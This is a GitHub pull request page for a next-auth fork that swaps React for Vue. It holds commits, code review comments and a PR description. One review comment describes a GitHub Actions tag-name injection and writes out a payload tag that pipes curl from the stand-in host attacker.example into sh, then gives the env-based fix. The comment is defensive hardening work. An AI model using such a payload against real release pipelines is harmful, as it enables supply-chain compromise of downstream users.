Repository navigation
feat: remove react from next-auth, move to vue - #1
phoenix-ru wants to merge 36 commits into
Conversation
commit: |
The inline email normalizer validated the address on the ASCII `@` before any
Unicode normalization. A character that is a homoglyph of `@` — e.g. U+FF20
FULLWIDTH COMMERCIAL AT — passed the single-`@` (atCount) check, but can be
canonicalized to an ASCII `@` by a downstream address parser (NFKC), splitting
the address into multiple recipients (CWE-180: validate before canonicalize).
Apply `String.prototype.normalize("NFKC")` before validation so any such
homoglyph becomes a real `@` and is rejected by the existing atCount check.
Behaviour on legitimate addresses is unchanged. Adds a regression test.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
(cherry picked from commit 19d2feb)
`detectOrigin` returned the auto-detected forwarded host whenever `VERCEL`/`AUTH_TRUST_HOST` was set, ignoring an explicitly configured `NEXTAUTH_URL`. A configured canonical URL should always win; only fall back to the forwarded host when no `NEXTAUTH_URL` is set. Adds unit tests for detectOrigin precedence. (cherry picked from commit 2a39465)
fix(github): add issuer to github (cherry picked from commit 0497da4)
| "react": "^18", | ||
| "react-dom": "^18", | ||
| "typescript": "^5.9.3", | ||
| "vue": "^3.5.30", |
There was a problem hiding this comment.
Q: vue is used at runtime here (as well as in signin.ts/signout.ts & other). Should we add it as peerDependencies?
| "module": "preserve", | ||
| "target": "esnext", | ||
| "moduleResolution": "bundler", | ||
| "allowJs": false, |
There was a problem hiding this comment.
Bug?: We have some .js files in this package -> See [here](repo:sidebase/fork-authjs path:/^packages/next-auth/src/providers/.*.js$/). We should still allow js here, should we? (Or convert the remaining .js files to .ts)
| "allowJs": false, | |
| "allowJs": true, |
There was a problem hiding this comment.
Nice one! I set allowJs to true as a safer measure
|
|
||
| - name: Verify tag matches package.json version | ||
| run: | | ||
| TAG="${{ github.event.release.tag_name }}" |
There was a problem hiding this comment.
The release workflow puts the tag name straight into shell code, so a crafted tag name can run commands in the job that publishes to npm.
Problem
Both run: steps in .github/workflows/release.yml contain TAG="${{ github.event.release.tag_name }}". GitHub replaces ${{ }} with the tag name before bash starts, so the tag name becomes part of the script. The double quotes don't protect anything, because bash still runs $(...) inside them
How it can be exploited
Git tag names can't contain spaces, but they can contain $, (, ), |, ; and backticks. Anyone who can publish a release, for example with a leaked token or a compromised maintainer account, can create a release with this tag:
v1$(curl${IFS}-sL${IFS}attacker.example/x.sh|sh)
The tag starts with v, so it passes the if: check. The "Verify tag" step turns into TAG="v1$(curl${IFS}-sL${IFS}attacker.example/x.sh|sh)", and bash downloads and runs the attacker's script inside the release job. That script can change the files in the workspace before npm publish runs. Because of --provenance, the tampered package gets a provenance attestation that points to this repo and this workflow, and everyone who installs that version runs the attacker's code in their auth layer.
BUT: Today, someone with release rights could also push a modified workflow, so this is hardening, not an open hole. It still matters because with this pattern a tag name can run code without any reviewed change.
What we should do
Pass the tag in through env and only use "$TAG" in the script. Then bash treats the tag as plain data and never runs it as code:
- name: Verify tag matches package.json version
env:
TAG: ${{ github.event.release.tag_name }}
run: |
PKG_VERSION=$(node -p "require('./package.json').version")
if [ "v$PKG_VERSION" != "$TAG" ]; then
echo "::error ::Tag ($TAG) does not match package.json version (v$PKG_VERSION)"
exit 1
fiThere was a problem hiding this comment.
Thanks for the catch, I moved it to be an env
| "@next-auth/tsconfig": "workspace:*", | ||
| "@swc/core": "^1.2.198", | ||
| "@swc/jest": "^0.2.21", | ||
| "@testing-library/dom": "^8.13.0", |
There was a problem hiding this comment.
These test dependencies are unused now, because the PR removes src/client/ and with it every client test. Can we drop them?
msw(bumped in this PR)jest-environment-jsdom(bumped in this PR)@testing-library/jest-dom@testing-library/dom@testing-library/user-eventwhatwg-fetch
Two config files hold the last references, so they should go in the same change:
- the
clientproject inconfig/jest.config.js. ItstestMatchissrc/client/**/*.test.js, which matches nothing now, and it is the only project that usesjsdomandjest-setup.js. config/jest-setup.js, which now only imports@testing-library/jest-dom.
Remove jest-environment-jsdom and the client block together. If the block stays, jest stops with "Test environment ... cannot be found" before running any test. Without the block, all 6 core suites (35 tests) still pass.
jest, @swc/jest, @swc/core, @edge-runtime/jest-environment, jest-watch-typeahead and @types/jest are still used by the core tests in tests/ and should stay.
There was a problem hiding this comment.
Thanks, dropped the unnecessary ones
| theme: Theme | ||
| } | ||
|
|
||
| function renderThemeStyle(theme: Theme): VNode[] { |
There was a problem hiding this comment.
nit: The same renderThemeStyle(theme) helper is pasted into signin.ts, signout.ts and verify-request.ts (verify-request has a subset), and error.ts inlines the brandColor style a fourth time. So a risk of drift is given here.
| // If `NEXTAUTH_URL` is `undefined` we fall back to "http://localhost:3000" | ||
| // `NEXTAUTH_URL` is `undefined` here; callers fall back to | ||
| // "http://localhost:3000". | ||
| return process.env.NEXTAUTH_URL |
There was a problem hiding this comment.
Q: Should we return undefined here? Since "" its also "falsy" we might return "" and not undefined
There was a problem hiding this comment.
I considered doing this and decided not to:
NEXTAUTH_URL |
detectOrigin() |
parseUrl() |
|---|---|---|
| Unset | undefined |
http://localhost:3000/api/auth |
"" |
"" |
TypeError: Invalid URL |
"https://app.example.test" |
Configured URL | https://app.example.test/api/auth |
The reason being is that TypeError which I think is better than silently defaulting to localhost when NEXTAUTH_URL= was provided, would you agree?
| return new TextEncoder().encode(input) | ||
| } | ||
| if (!(input instanceof Uint8Array)) { | ||
| throw new TypeError(`"${label}"" must be an instance of Uint8Array or a string`) |
There was a problem hiding this comment.
nit: typo -> "${label}""
| throw new TypeError(`"${label}"" must be an instance of Uint8Array or a string`) | |
| throw new TypeError(`"${label}" must be an instance of Uint8Array or a string`) |
| req: GetServerSidePropsContext["req"] | NextRequest | NextApiRequest | ||
| req: { | ||
| cookies: Record<string, string> | ||
| headers: IncomingHttpHeaders |
There was a problem hiding this comment.
Thanks, I was slightly confused about the usage of Headers in next-auth, but supporting both of them is a good idea since we already distinguish them in runtime.
☕️ Reasoning
This PR removes
react,preactandnextdependencies from thenext-authpackage, replacing the functionality withvueinstead, for better integration with NuxtAuth.nodemailerpeer support to allow newer patched releases and avoid known audit findings from older 7.x versions. Consumers using advanced Nodemailer options should review the breaking changes in 8.0 and 9.0, especially auth error codes and stricter TLS validation for remote content/OAuth/proxy requests.🧢 Checklist
🎫 Affected issues
📌 Resources